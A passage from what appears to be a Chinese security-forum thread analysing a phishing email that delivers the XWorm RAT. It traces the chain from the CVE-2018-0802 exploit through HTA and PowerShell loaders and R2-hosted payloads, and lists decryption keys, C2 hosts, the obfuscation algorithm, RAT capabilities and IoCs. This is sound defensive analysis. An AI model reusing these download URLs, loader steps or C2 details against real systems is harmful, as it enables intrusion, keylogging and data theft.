12
返回列表 发新帖
楼主: tdsskiller
收起左侧

[病毒样本] 25号老外发到我邮箱的病毒文件,格式eml

[复制链接]
YSL
发表于 2026-6-28 19:18:26 | 显示全部楼层

前后相隔6分钟就入库了
图钉鱼
发表于 2026-6-29 14:29:31 | 显示全部楼层
本帖最后由 图钉鱼 于 2026-6-29 14:32 编辑

XWORM木马下载器

VirusTotal - File - 9255f109a3cf4fbeea796fc9f04c91d1d02ed21d040df3fcd174b308d88a8e57
ZXCVDS
发表于 2026-6-29 15:58:48 | 显示全部楼层
本帖最后由 ZXCVDS 于 2026-6-29 16:01 编辑
YSL 发表于 2026-6-28 19:18
前后相隔6分钟就入库了

没有,我比他测试的早,早就能杀了,只不过我没有发测试结果,不知道他那边环境问题还是什么问题,他那边查不出,我就纠正一下360的结果
图钉鱼
发表于 2026-6-30 00:25:56 | 显示全部楼层
本帖最后由 图钉鱼 于 2026-6-30 00:43 编辑

分析确认一封针对制药行业的针对性钓鱼邮件,通过 CVE-2018-0802
(Microsoft Equation Editor 3.0 栈缓冲区溢出)漏洞利用,经 8 个阶段的
载荷投放链,最终部署 XWorm V7.1 远程访问木马(RAT)。

威胁行为体使用 Cloudflare R2 存储桶作为多级载荷分发基础设施,部署了
两个 stage-3 构建版本(UD_XWormClient 和 Harry_XWormClient),分别
连接不同的 C2 服务器(berlin101.com:6000 和 evaultbuzzfix.com:6000),
构成冗余 C2 基础设施。两个 stage-3 载荷均使用 Babel.NET 混淆器保护
(控制流平坦化 + 字符串加密 + 名称混淆),但使用了不同的 Babel 配置参数
(不同 magic、不同 char[] 密钥数据)。

完整 RAT 功能:远程控制、数据窃取、键盘记录、摄像头访问
横向移动:USB 自动传播
权限提升:CMSTP UAC Bypass
持久化:计划任务 + 注册表 Run 键
反检测:杀软识别、多层加密混淆

攻击链全景图

[Stage 0] 钓鱼邮件 (mail.eml)
   │  附件: .xlam (Excel 加载项)
   ▼
[Stage 1] 漏洞触发 (CVE-2018-0802)
   │  位置: ole10native.bin 偏移 0x101
   │  shellcode: pushad;pushfd → JMP 0x50
   ▼
[Stage 2] stage-1 自解密器 (偏移 0x50-0x423)
   │  混淆: JMP 链 + LCG PRNG
   │  PRNG: K(n+1) = (K(n)  0x12BF4521 + 0x1339715D) mod 2^32
   │  初始密钥: 0x00000000
   ▼
[Stage 3] stage-2 WinHttp 下载器 (偏移 0x424-0x84D, 1065 字节)
   │  WinHttpConnect("one-graup.com", 443)
   │  WinHttpOpenRequest("GET", "/HTR.hta")
   │  落地: %APPDATA%\NY4.HTA
   │  执行: ShellExecuteExW
   ▼
[Stage 4] HTR.hta 解密 (402,590 字节)
   │  混淆: JScript + Unicode 字符插入
   │  解密: AES-256-CBC
   │  密钥: "nmJVoFyjex7ap0R8" + bytes(0..15)
   ▼
[Stage 5] PowerShell 下载器
   │  下载: tnnbbv.png → [AppDomain]::CurrentDomain.Load()
   │  入口: Fiber.Program.Main(19 参数)
   │  全局密钥: "tQaCQYKIo1FdSsme" (ChaveSecretaGlobal)
   ▼
[Stage 6] stage-2 loader .NET 程序集 (1,159,680 字节)
   │  ├─ _F122._F008: 下载 uuu.png → UD_XWormClient 7.2.exe
   │  ├─ _F11C._F008: 下载 huu.hta → 创建计划任务
   │  └─ 持久化: Microsoft.Win32.TaskScheduler v2.12.2.0
   ▼
[Stage 7] stage-3 XWorm Client (93,184 字节)
   │  载体: uuu.png (JPEG + base64 附加 PE)
   │  提取: Replace('###','A') → Reverse → Base64 decode
   │  混淆: Babel.NET
   │  .cctor: 加载 char[2085] + char[8] 解密密钥
   ▼
[Stage 8] C2 配置解密 + RAT 启动
   │  AES-256-ECB (密钥派生自 MD5(Mutex))
   │  C2: berlin101.com:6000
   │  KEY: <666666>, SPL: <Xwormmm>, Groub: XWorm V7.1
   ▼
[XWorm V7.1 RAT 运行时]
   ├─ Mutex: 8ryqoqrscNZJNen9
   ├─ 日志: temp\Log.tmp
   ├─ USB 传播: USB.exe
   └─ 键盘记录: XLogger.callk


阶段详细分析

────────────────────────────────────────────────────────────────────────────────
Stage 0: 钓鱼邮件投放
────────────────────────────────────────────────────────────────────────────────
输入文件 : mail.eml
附件类型 : .xlam (Excel 加载项,启用宏)
目标行业: 制药
社会工程: (邮件主题/正文内容不在本次分析范围)
IoC  :
  附件 OLE10Native 流混淆标识: \x01oLe10natIVe (大小写混合伪装)

────────────────────────────────────────────────────────────────────────────────
Stage 1: CVE-2018-0802 漏洞触发
────────────────────────────────────────────────────────────────────────────────
漏洞      : CVE-2018-0802 (Microsoft Equation Editor 3.0 栈缓冲区溢出)
            (与 CVE-2017-11882 同源,EQNEDT32.exe)
触发位置  : ole10native.bin 偏移 0x101
初始指令  : pushad; pushfd
跳转目标  : JMP 0x50 (跳到 stage-1 解密器)
技术细节  :
  位置无关代码 (PIC)
  使用 CALL 技巧压入字符串地址
  OLE10Native 流名混淆为 "\x01oLe10natIVe" 以 evade 简单检测

────────────────────────────────────────────────────────────────────────────────
Stage 2: stage-1 自解密器
────────────────────────────────────────────────────────────────────────────────
位置      : ole10native.bin 偏移 0x50 - 0x423
混淆技术  : JMP 链 (每个基本块以 JMP 结尾,打乱线性执行流)
解密算法  : 线性同余生成器 (LCG) PRNG
  公式    : K(n+1) = (K(n)  0x12BF4521 + 0x1339715D) mod 2^32
  乘数    : 0x12BF4521
  加数    : 0x1339715D
  初始密钥: 0x00000000
输出      : stage-2 WinHttp 下载器 (1065 字节, 偏移 0x424-0x84D)

────────────────────────────────────────────────────────────────────────────────
Stage 3: stage-2 WinHttp 下载器
────────────────────────────────────────────────────────────────────────────────
位置      : ole10native.bin 偏移 0x424 - 0x84D
大小      : 1,065 字节
功能      : 通过 WinHttp API 下载 HTR.hta 并执行
API 调用链:
  1. WinHttpOpen()
  2. WinHttpConnect("one-graup.com", 443)
  3. WinHttpOpenRequest("GET", "/HTR.hta")
  4. WinHttpSendRequest()
  5. WinHttpReceiveResponse()
  6. WinHttpReadData()
落地路径  : %APPDATA%\NY4.HTA
执行方式  : ShellExecuteExW
IoC       :
  C2 URL: hxxx【x】://one-graup.com/HTR.hta
  落地文件: %APPDATA%\NY4.HTA

────────────────────────────────────────────────────────────────────────────────
Stage 4: HTR.hta 解密
────────────────────────────────────────────────────────────────────────────────
文件      : HTR.hta (402,590 字节)
格式      : HTML Application (HTA)
内容      : JScript + Unicode 字符插入混淆
  - 每个 JScript 字符之间插入垃圾 Unicode 序列
  - 通过正则可剥离还原原始 JScript
解密算法  : AES-256-CBC
  密钥前 16 字节: "nmJVoFyjex7ap0R8" (ASCII)
  密钥后 16 字节: bytes(0x00..0x0F)
  完整 32 字节密钥(hex): 6e6d4a566f46796a6578376170305238000102030405060708090a0b0c0d0e0f
  IV: 同密钥后 16 字节 (0x00..0x0F)
数据传递  : HTA 将解密后的 base64 数据切分为 P1, P2... 环境变量
输出      : PowerShell 脚本 (xworm_payload.ps1)


────────────────────────────────────────────────────────────────────────────────
Stage 5: PowerShell 下载器
────────────────────────────────────────────────────────────────────────────────
执行方式  : 隐藏 PowerShell (通过 WMI Win32_Process::Create 启动)
功能      : 下载 stage-2 loader .NET 程序集并反射加载
下载 URL  :hxx://pub-3bc1de741f8149f49bdbafa703067f24.r2.dev/tnnbbv.png
加载方式  : [AppDomain]::CurrentDomain.Load($bytes)
入口点    : Fiber.Program.Main(string[] args) — 接收 19 个 AES 加密参数
全局密钥  : "tQaCQYKIo1FdSsme" (字段名: ChaveSecretaGlobal)
  密钥 hex: 7451614351594b496f31466453736d65
输出      : stage-2 loader .NET 程序集 (1,159,680 字节)

────────────────────────────────────────────────────────────────────────────────
Stage 6: stage-2 loader .NET 程序集执行
────────────────────────────────────────────────────────────────────────────────
程序集    : xworm_assembly.bin (1,159,680 字节)
.NET 类   : Fiber.Program
入口方法  : Main(19 参数) — 所有参数通过 AES-256-CBC 加密
  解密密钥: tQaCQYKIo1FdSsme + bytes(0..15)
功能分支  :
  [分支 A] _F122._F008:
    下载 URL: http://pub-3bc1de741f8149f49bdbafa703067f24.r2.dev/uuu.png
    提取    : JPEG EOI (FF D9) _后附加 base64 数据
    字符串变换: Replace('###','A') → ToCharArray → Reverse → FromBase64String
    输出    : UD_XWormClient 7.2.exe (93,184 字节, .NET PE)

  [分支 B] _F11C._F008:
    下载 URL: http【x】://pub-3bc1de741f8149f49bdbafa703067f24.r2.dev/huu.hta
    功能    : 通过计划任务持久化执行 huu.hta
    AES 密钥: "cRfzmSvljKvLIY5D" + bytes(0..15)
    持久化库 : Microsoft.Win32.TaskScheduler v2.12.2.0
    UAC Bypass: CMSTP technique (cmstp.exe + INF 文件)
    落地路径: C:\Windows\Microsoft.NET\Framework\v4.0.30319\msBuild.exe

huu.hta 的 Main 参数解密结果 (19 个参数):
  [ 0] http://pub-3bc1de741f8149f49bdbafa703067f24.r2.dev/huu.png
  [ 1] <empty>
  [ 2] C:\Users\Public\Downloads\
  [ 3] YOL9BiN6Qx              (任务名/标识)
  [ 4] msBuild                 (目标进程名)
  [ 5] <empty>
  [ 6] msBuild
  [ 7-8] <empty>
  [ 9] C:\Users\Public\Downloads\
  [10] YOL9BiN6Qx
  [11] hta                     (文件扩展名)
  [12] 3                       (任务计数?)
  [13] <empty>
  [14] Z5rQ0GqDlI              (第二任务名)
  [15] 0
  [16-18] <empty>

────────────────────────────────────────────────────────────────────────────────
Stage 7: stage-3 XWorm Client 提取与混淆分析
────────────────────────────────────────────────────────────────────────────────
载体文件  : uuu.png (2,277,616 字节, 实际为 JPEG + 附加数据)
            huu_payload.png (2,270,924 字节, 同结构)
提取方法  :
  1. 从文件末尾向前查找 JPEG EOI 标记 (FF D9)
  2. EOI 之后的数据为 base64 编码的 PE
  3. 查找 INICIO/FIM 标记包裹的 payload
  4. Replace('###', 'A')
  5. ToCharArray + Array.Reverse
  6. Convert.FromBase64String
输出      :
  stage3_uuu_payload.bin (93,184 字节, UD_XWormClient 7.2.exe)
  stage3_huu_payload.bin (90,624 字节, Harry_XWormClient 7.2.exe)

混淆器    : Babel.NET
两个构建版本使用不同参数的 Babel 配置:

  ┌──────────────────┬──────────────────────────┬──────────────────────────┐
  │ 参数             │ uuu (UD_XWormClient)     │ huu (Harry_XWormClient)  │
  ├──────────────────┼──────────────────────────┼──────────────────────────┤
  │ 解密器类         │ Uninstaller                       │        AlgorithmAES             │
  │ 解密器方法       │ Uninstaller.Ⴀ(int,int,int)│ AlgorithmAES.Ⴀ(byte,int,int,int)│
  │ 参数个数         │ 3                                           │ 4 (P_0,P_1 未使用)       │
  │ magic 常数       │ 0x4707B085                       │ 0x27622D5F               │
  │ 密钥数组 1       │ char[2085] (4170 字节)     │ char[2105] (4210 字节)   │
  │ 密钥数组 2       │ char[8]                                       │ char[8]                  │
  │ char[8][0]       │ U+2B89                                 │ U+0AAB                   │
  │ char[8][1]       │ U+2917                                 │ U+2419                   │
  │ char[8][2]       │ U+3A46                               │ U+3A68                   │
  │ char[8][3]       │ U+26D2                               │ U+0B29                   │
  │ char[8][4]       │ U+2D60                               │ U+0F92                   │
  │ char[8][5]       │ U+1752                               │ U+102C                   │
  │ char[8][6]       │ U+1A9A                               │ U+1E34                   │
  │ char[8][7]       │ U+3022                                │ U+065C                   │
  └──────────────────┴──────────────────────────┴──────────────────────────┘

  注: 两个版本的 AES 配置解密算法相同 (MD5(Mutex) → 32 字节 key → AES-256-ECB)
      但 Babel 字符串解密器的 magic 和密钥数据完全不同。

混淆技术:
  [1] 控制流平坦化 (Control Flow Flattening)
      所有方法体转换为 while/switch/goto 状态机
      使用 IL switch 指令 (opcode 0x45) 实现
      状态变量驱动基本块调度

  [2] 字符串加密 (String Encryption)
       核心算法 (两个版本相同):
          a. num = (P_2 ^ magic ^ P_3) & 0xFFFFFFFF    [huu 4 参数版]
             num = (P_0 ^ magic ^ P_2) & 0xFFFFFFFF    [uuu 3 参数版]
          b. c = chars_N[num]
          c. cache_idx = (chars_N[num+2] ^ c) & 0xFFFF
          d. 命中缓存则直接返回
          e. num7 = (chars_N[num+1] ^ c) & 0xFFFF
          f. num6 = num + 3
          g. num5 = (num7 & 0x1F) | ((num7 & 0xFFC0) >> 1)
          h. if (num7 & 0x20) != 0:
                num5 = ((num5 << 15) | (chars_N[num6] ^ c)) & 0xFFFFFFFF
                num6 += 1
          i. for num4 = 1 to num5:
                idx1 = num6 + num5 - num4
                idx2 = (num4 + num6 + 17) % 8
                ch = (c ^ chars_N[idx1] ^ chars_8[idx2]) & 0xFFFF
                result.Append(chr(ch))

  [3] 数字常量加密
       解密器方法: _E0F7._E050(int) [uuu] / Main.Ⴍ [huu]
      用于隐藏魔法数字、数组大小等

  [4] 名称混淆
      使用格鲁吉亚字母 (U+10A0-U+10FF) 和其他 Unicode 字符
      Ⴀ, Ⴁ, Ⴂ, Ⴃ, ⴅ, ⴓ

────────────────────────────────────────────────────────────────────────────────
Stage 8: C2 配置解密 (两个构建版本对比)
────────────────────────────────────────────────────────────────────────────────
配置存储  : Settings 静态字段类
初始化    : Settings.cctor() 调用 Babel 解密器填充字段
解密流程  : Main() → AlgorithmAES.Decrypt(encrypted_field) → 明文配置

AES 密钥派生算法 (两个版本相同):
  1. Mutex 字符串 (Babel 直接解密得到)
  2. 计算 MD5(Mutex)
  3. 构建 32 字节 AES 密钥:
       key32[0..15]  = MD5[0..15]
       key32[15..30] = MD5[0..15]  (在偏移 15 处重叠复制)
       key32[31]     = 0x00
  4. 加密模式: AES-256-ECB

===================================
版本 A: uuu (UD_XWormClient 7.2.exe)
===================================
  Mutex    : "8ryqoqrscNZJNen9"
  MD5      : 353971498a63821ee7f0469ff80077cc
  AES key  : 353971498a63821ee7f0469ff80077
             353971498a63821ee7f0469ff80077cc00

  ┌──────────────┬──────────────────────────────────┬──────────────────────┐
  │ 字段         │ 加密值 (Base64)                  │ 解密值               │
  ├──────────────┼──────────────────────────────────┼──────────────────────┤
  │ Hosts        │ xFCkyqg/tJg0afDQ0O856w==         │ berlin101.com        │
  │ Port         │ 0bSVpvURSuF97RGpVghCUw==         │ 6000                 │
  │ KEY          │ a1VsubffQltXBc/e7Oy54Q==         │ <666666>             │
  │ SPL          │ AfhuG29ZFPdrojEvt5nlog==         │ <Xwormmm>            │
  │ Groub        │ kg1LsZH8q0Z+7Fm8qIWw+w==         │ XWorm V7.1           │
  │ USBNM        │ Rrz0ABDGhjjhy+lEknQVoQ==         │ USB.exe              │
  │ Mutex        │ (Babel 直接解密)                 │ 8ryqoqrscNZJNen9     │
  │ Sleep        │ (Babel 直接解密)                 │ 1 (秒)               │
  │ LoggerPath   │ (Babel 直接解密, 两段拼接)       │ temp\Log.tmp         │
  └──────────────┴──────────────────────────────────┴──────────────────────┘

  各字段密文(hex):
    Hosts ct : c450a4caa83fb4983469f0d0d0ef39eb
    Port ct  : d1b495a6f5114ae17ded11a956084253
    KEY ct   : 6b556cb9b7df425b5705cfdeececb9e1
    SPL ct   : 01f86e1b6f5914f76ba2312fb799e5a2
    Groub ct : 920d4bb191fcab467eec59bca885b0fb
    USBNM ct : 46bcf40010c68638e1cbe944927415a1

===================================
版本 B: huu (Harry_XWormClient 7.2.exe)
===================================
  Mutex    : "A74lyhAY4NTqcGXa"
  MD5      : 377f95b29db55cdd1c44ce413f7f5974
  AES key  : 377f95b29db55cdd1c44ce413f7f5937
             7f95b29db55cdd1c44ce413f7f597400

  ┌──────────────┬──────────────────────────────────┬──────────────────────┐
  │ 字段         │ 加密值 (Base64)                  │ 解密值               │
  ├──────────────┼──────────────────────────────────┼──────────────────────┤
  │ Hosts        │ oXJqah4Bg7ydSeWV55LADCD4HTk/... │ evaultbuzzfix.com    │
  │ Port         │ I/Zo1MaTc/HKr6mx0x9gww==         │ 6000                 │
  │ KEY          │ MNUlNUW2shFyq5yRFNkkbg==         │ <666666>             │
  │ SPL          │ 91EBFlwQ6X6upgdihLP1DQ==         │ <Xwormmm>            │
  │ Groub        │ TmE50EOw8cE1RBR2TyncqQ==         │ XWorm V7.1           │
  │ USBNM        │ SN0eJTzD4FjC5L/VHWabcg==         │ USB.exe              │
  │ Mutex        │ (Babel 直接解密)                                  │ A74lyhAY4NTqcGXa     │
  │ Sleep        │ (Babel 直接解密)                                     │ 1 (秒)               │
  │ LoggerPath   │ (Babel 直接解密, 两段拼接)              │ temp\Log.tmp         │
  └──────────────┴──────────────────────────────────┴──────────────────────┘

  各字段密文(hex):
    Hosts ct : a1726a6a1e0183bc9d49e595e792c00c20f81d393f7c17d3618aa92a2de4f60d
    Port ct  : 23f668d4c69373f1caafa9b1d31f60c3
    KEY ct   : 30d5253545b6b21172ab9c9114d9246e
    SPL ct   : f75101165c10e97eaea6076284b3f50d
    Groub ct : 4e6139d043b0f1c1354414764f29dca9
    USBNM ct : 48dd1e253cc3e058c2e4bfd51d669b72

===================================
两版本对比分析
===================================
  ┌──────────────┬─────────────────────┬─────────────────────┬────────┐
  │ 字段         │ uuu (UD_)                │ huu (Harry_)           │ 是否相同│
  ├──────────────┼─────────────────────┼─────────────────────┼────────┤
  │ Hosts        │ berlin101.com       │ evaultbuzzfix.com   │ ✗ 不同 │
  │ Port         │ 6000                │ 6000                               │ ✓ 相同 │
  │ KEY          │ <666666>            │ <666666>                 │ ✓ 相同 │
  │ SPL          │ <Xwormmm>           │ <Xwormmm>       │ ✓ 相同 │
  │ Groub        │ XWorm V7.1          │ XWorm V7.1          │ ✓ 相同 │
  │ USBNM        │ USB.exe             │ USB.exe                   │ ✓ 相同 │
  │ Mutex        │ 8ryqoqrscNZJNen9    │ A74lyhAY4NTqcGXa    │ ✗ 不同 │
  │ Sleep        │ 1                   │ 1                                      │ ✓ 相同 │
  │ LoggerPath   │ temp\Log.tmp        │ temp\Log.tmp   │ ✓ 相同 │
  └──────────────┴─────────────────────┴─────────────────────┴────────┘

  分析结论:
  两个版本来自同一 XWorm V7.1 构建器,共享协议参数 (KEY/SPL/Groub)
  配置了不同的 C2 服务器和 Mutex
  表明攻击者部署了冗余 C2 基础设施,两个 PE 互为备份
  uuu 版本先执行 (stage-2 loader 分支 A),huu 版本通过计划任务持久化执行 (分支 B)


┌──────────────────────────────────────────────────────────────────────────────┐
│  4. XWorm RAT 功能方法清单 (Capabilities)                                    │
└──────────────────────────────────────────────────────────────────────────────┘

从 stage-3 反编译代码中识别的功能方法:

  ┌──────────────┬─────────────────────────────────────┐
  │ 方法名       │ 功能描述                            │
  ├──────────────┼─────────────────────────────────────┤
  │ BeginConnect │ 初始化 C2 连接                      │
  │ ConnectServer│ 连接到 C2 服务器                    │
  │ BeginReceive │ 开始接收 C2 命令                    │
  │ BeginRead    │ 读取 C2 数据                        │
  │ Read         │ 读取数据                            │
  │ Send         │ 发送数据到 C2                       │
  │ EndSend      │ 结束发送                            │
  │ SendMSG      │ 发送消息                            │
  │ SendError    │ 发送错误信息                        │
  │ Ping         │ 发送 Ping                           │
  │ Pong         │ 响应 Ping                           │
  │ isDisconnected│ 检测断开连接                       │
  │ Info         │ 收集系统信息                        │
  │ INDATE       │ 心跳/保持连接                       │
  │ GPU          │ GPU 信息收集                        │
  │ CPU          │ CPU 信息收集                        │
  │ RAM          │ RAM 信息收集                        │
  │ Monitoring   │ 监控功能                            │
  │ Spread       │ USB 传播                            │
  │ UAC          │ UAC 绕过 (CMSTP)                    │
  │ Antivirus    │ 反杀软检测                          │
  │ OpenUrl      │ 打开 URL                            │
  │ Cam          │ 摄像头访问                          │
  │ UNS          │ 卸载功能                            │
  │ Plugin       │ 插件系统                            │
  │ TD           │ 未知 (可能 Task/Thread 相关)        │
  │ XLogger.callk│ 键盘记录                            │
  └──────────────┴─────────────────────────────────────┘


┌──────────────────────────────────────────────────────────────────────────────┐
│  5. IoC 完整清单 (Indicators of Compromise)                                  │
└──────────────────────────────────────────────────────────────────────────────┘

────────────────────────────────────────────────────────────────────────────────
5.1 网络指标
────────────────────────────────────────────────────────────────────────────────
  ┌──────────────┬──────────────────────────────────────────────────────────────────┐
  │ 类型         │ 值                                                               │
  ├──────────────┼──────────────────────────────────────────────────────────────────┤
  │ 一级 C2      │ http[x]://one-graup.com/HTR.hta                                   │
  │ 二级 C2      │ htt[p]://pub-3bc1de741f8149f49bdbafa703067f24.r2.dev/tnnbbv.png │
  │ 三级 C2      │ htt[p]://pub-3bc1de741f8149f49bdbafa703067f24.r2.dev/uuu.png    │
  │ 四级 C2      │ http[x]://pub-3bc1de741f8149f49bdbafa703067f24.r2.dev/huu.hta    │
  │ 五级 C2      │ htt[p]://pub-3bc1de741f8149f49bdbafa703067f24.r2.dev/huu.png    │
  │ R2 账户 ID   │ 3bc1de741f8149f49bdbafa703067f24                                │
  │ XWorm C2 (uuu)│ berlin101.com:6000      (UD_XWormClient 主 C2)                 │
  │ XWorm C2 (huu)│ evaultbuzzfix.com:6000  (Harry_XWormClient 备用 C2)            │
  │ C2 通信密钥  │ <666666> (KEY 字段, 两版本共享)                                 │
  │ C2 分隔符    │ <Xwormmm> (SPL 字段, 两版本共享)                                │
  └──────────────┴──────────────────────────────────────────────────────────────────┘

────────────────────────────────────────────────────────────────────────────────
5.2 主机指标
────────────────────────────────────────────────────────────────────────────────
  ┌──────────────┬──────────────────────────────────────────────────────────────────┐
  │ 类型         │ 值                                                               │
  ├──────────────┼──────────────────────────────────────────────────────────────────┤
  │ HTA 落地文件 │ %APPDATA%\NY4.HTA                                               │
  │ PE 写入路径  │ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msBuild.exe        │
  │ 下载目录     │ C:\Users\Public\Downloads\                                       │
  │ Mutex (uuu)  │ 8ryqoqrscNZJNen9   (UD_XWormClient)                             │
  │ Mutex (huu)  │ A74lyhAY4NTqcGXa    (Harry_XWormClient)                         │
  │ USB 传播文件 │ USB.exe                                                          │
  │ 日志路径     │ temp\Log.tmp                                                     │
  │ 计划任务名 1 │ YOL9BiN6Qx                                                       │
  │ 计划任务名 2 │ Z5rQ0GqDlI                                                       │
  │ 任务计划库   │ Microsoft.Win32.TaskScheduler v2.12.2.0                          │
  └──────────────┴──────────────────────────────────────────────────────────────────┘

────────────────────────────────────────────────────────────────────────────────
5.3 加密密钥
────────────────────────────────────────────────────────────────────────────────
  ┌──────────────────────────┬──────────────────────────────────────────────────┐
  │ 描述                     │ 值                                               │
  ├──────────────────────────┼──────────────────────────────────────────────────┤
  │ HTR.hta AES 密钥 (前16)  │ nmJVoFyjex7ap0R8                                │
  │ HTR.hta AES 密钥 (后16)  │ 000102030405060708090a0b0c0d0e0f                │
  │ huu.hta AES 密钥 (前16)  │ cRfzmSvljKvLIY5D                                │
  │ huu.hta AES 密钥 (后16)  │ 000102030405060708090a0b0c0d0e0f                │
  │ .NET 全局密钥            │ tQaCQYKIo1FdSsme (ChaveSecretaGlobal)           │
  │ stage-3 uuu AES 密钥源   │ MD5("8ryqoqrscNZJNen9")                         │
  │ stage-3 uuu AES 密钥     │ 353971498a63821ee7f0469ff80077                  │
  │   (32B)                  │ 353971498a63821ee7f0469ff80077cc00              │
  │ stage-3 huu AES 密钥源   │ MD5("A74lyhAY4NTqcGXa")                         │
  │ stage-3 huu AES 密钥     │ 377f95b29db55cdd1c44ce413f7f5937                │
  │   (32B)                  │ 7f95b29db55cdd1c44ce413f7f597400                │
  │ stage-3 AES 模式         │ AES-256-ECB (两版本相同)                         │
  │ Babel magic (uuu)        │ 0x4707B085 (P_0 ^ magic ^ P_2)                   │
  │ Babel magic (huu)        │ 0x27622D5F (P_2 ^ magic ^ P_3)                   │
  └──────────────────────────┴──────────────────────────────────────────────────┘

────────────────────────────────────────────────────────────────────────────────
5.4 文件指标
────────────────────────────────────────────────────────────────────────────────
  ┌─────────────────────┬────────────┬──────────────────────────────────────────┐
  │ 文件名              │ 大小(字节) │ 描述                                     │
  ├─────────────────────┼────────────┼──────────────────────────────────────────┤
  │ ole10native.bin     │ 2,773,677  │ 核心 shellcode + 多阶段载荷             │
  │ stage2_decrypted.bin│ 1,065      │ stage-2 WinHttp 下载器                   │
  │ HTR.hta             │ 402,590    │ JScript + Unicode 混淆                   │
  │ xworm_assembly.bin  │ 1,159,680  │ stage-2 loader .NET 程序集               │
  │ uuu.png             │ 2,277,616  │ JPEG + stage-3 PE (UD_XWormClient)       │
  │ huu_payload.png     │ 2,270,924  │ JPEG + stage-3 PE (Harry_XWormClient)    │
  │ stage3_uuu PE       │ 93,184     │ UD_XWormClient 7.2.exe (Babel.NET)       │
  │ stage3_huu PE       │ 90,624     │ Harry_XWormClient 7.2.exe (Babel.NET)    │
  └─────────────────────┴────────────┴──────────────────────────────────────────┘

────────────────────────────────────────────────────────────────────────────────
5.5 .NET 指标
────────────────────────────────────────────────────────────────────────────────
  ┌──────────────────┬──────────────────────────────────────────────────────────┐
  │ 类型             │ 值                                                       │
  ├──────────────────┼──────────────────────────────────────────────────────────┤
  │ stage-2 loader 类│ Fiber.Program                                                                                                                                    │
  │ stage-3 混淆器   │ Babel.NET (控制流平坦化 + 字符串加密 + 名称混淆)        │
  │ 持久化库         │ Microsoft.Win32.TaskScheduler v2.12.2.0                  │
  │ UAC Bypass       │ CMSTP technique                                          │
  │ 构建标识 1       │ UD_XWormClient 7.2.exe                                   │
  │ 构建标识 2       │ Harry_XWormClient 7.2.exe                                │
  │ 组名             │ XWorm V7.1                                               │
  │ 通信密钥         │ <666666>                                                 │
  │ 分隔符           │ <Xwormmm>                                                │
  │ Babel 解密器类   │ Uninstaller                                              │
  │ Babel 解密器方法 │ Uninstaller.Ⴀ(int, int, int)                             │
  │ 数字解密器方法   │ _E0F7._E050(int)                                         │
  └──────────────────┴──────────────────────────────────────────────────────────┘

评分

参与人数 1人气 +2 收起 理由
tdsskiller + 2 版区有你更精彩: )

查看全部评分

图钉鱼
发表于 2026-6-30 09:18:57 | 显示全部楼层
本帖最后由 图钉鱼 于 2026-6-30 09:20 编辑

4. XWorm RAT 功能方法清单


从 stage-3 反编译代码中识别的功能方法:


  │ 方法名             │ 功能描述                        

  │ BeginConnect │ 初始化 C2 连接                      │
  │ ConnectServer│ 连接到 C2 服务器                    │
  │ BeginReceive │ 开始接收 C2 命令                    │
  │ BeginRead    │ 读取 C2 数据                        │
  │ Read             │ 读取数据                            │
  │ Send             │ 发送数据到 C2                       │
  │ EndSend      │ 结束发送                            │
  │ SendMSG      │ 发送消息                            │
  │ SendError      │ 发送错误信息                        │
  │ Ping                发送 Ping                           │
  │ Pong              │ 响应 Ping                           │
  │ isDisconnected│ 检测断开连接                       │
  │ Info                  收集系统信息                        │
  │ INDATE           │ 心跳/保持连接                       │
  │ GPU                │ GPU 信息收集                        │
  │ CPU                │ CPU 信息收集                        │
  │ RAM          │ RAM 信息收集                          │
  │ Monitoring   │ 监控功能                                │
  │ Spread       │ USB 传播 (枚举 DriveInfo, 复制 USB.exe)│
  │ UAC          │ 管理员权限检测 (WindowsPrincipal.IsInRole) │
  │ Antivirus    │ 杀软查询 (WMI SecurityCenter2)        │
  │ OpenUrl      │ 打开 URL (可见/隐藏)                  │
  │ Cam          │ 摄像头访问                                  │
  │ UNS          │ 自卸载/自更新 (批处理自删除)          │
  │ Plugin       │ 插件系统 (Assembly.Load + 反射 Invoke)│
  │ TD           │ DDoS 攻击线程入口                                   │
  │ XLogger.callk│ 键盘记录 (WH_KEYBOARD_LL = 13)        │
  └──────────────┴─────────────────────────────────────┘

注: 本次反编译未见 CMSTP UAC Bypass 实现,UAC() 方法仅检测当前进程是否
    以 Administrator 身份运行 (WindowsBuiltInRole.Administrator),向 C2
    回报。


4A. RAT 内部机制深度分析 (Internal Mechanics)                                


以下分析基于 uuu 版本反编译代码 (stage3_decompiled.cs, 317,239 字节),
huu 版本结构相似 。


4A.1 启动流程 (Main 函数)

位置: Stub.Main.Main() (行 3352)

启动序列:
  1. Thread.Sleep(Settings.Sleep * 1000)   // 延迟启动, Sleep=1 → 1秒
  2. AES 解密所有 Settings 字段 (Hosts/Port/KEY/SPL/Groub/USBNM)
  3. Ⴜ.Ⴍ()   // 创建全局 Mutex (Settings.Mutex)
                // 失败则 Environment.Exit(0) — 防止多实例
  4. Ⴜ.Ⴃ()   // 安装持久化 (注册表写入 + 文件释放)
  5. new Thread(XLogger.callk).Start()    // 启动键盘记录线程
  6. new Thread(Ⴜ.Ⴐ).Start()             // 启动辅助线程 (USB 传播等)
  7. 主线程进入 C2 连接循环:
       while (true) {
           if (!isConnected) {
               isDisconnected();
               BeginConnect();           // 异步连接 C2
           }
           allDone.WaitOne();            // 等待连接完成
           Sleep(random(3000, 10000));   // 随机延迟, 反检测
       }


4A.2 C2 通信协议 (ClientSocket 类)

位置: ClientSocket 类 (行 3513)

协议类型: 自定义 TCP 异步协议 (长度前缀 + 数据块)

连接参数:
Socket: AddressFamily.InterNetwork, Stream, Tcp
SendBufferSize = ReceiveBufferSize = 51200 字节
远程: Settings.Host : int.Parse(Settings.Port)
多 C2 容错: Settings.Hosts 用逗号分隔, 随机选择一个

握手流程:
  1. ConnectServer(host) 建立连接
  2. Send(Info())  // 发送上线信息包 (见 4A.3)
  3. 启动心跳 Timer (10000-15000ms 随机间隔)
  4. BeginReceive 异步接收循环

消息格式 (上行/下行相同):
  ┌────────┬──────────────────────────────────────────┐
  │ 字节 0 │ 含义: 消息长度高位字节 (or 标记字节)     │
  ├────────┼──────────────────────────────────────────┤
  │ 字节 1 │ 消息总长度 (计算自 Ⴐ = f(MemoryStream)) │
  ├────────┼──────────────────────────────────────────┤
  │ 字节 2+│ 消息体 (SPL 分隔的字符串数组)            │
  └────────┴──────────────────────────────────────────┘

接收状态机 (BeginReceive, 行 4409):
阶段 1: 接收 1 字节, 若 != 0 → 计算预期长度 Ⴄ
阶段 2: 分配 byte[Ⴄ-1] 缓冲区, 继续接收
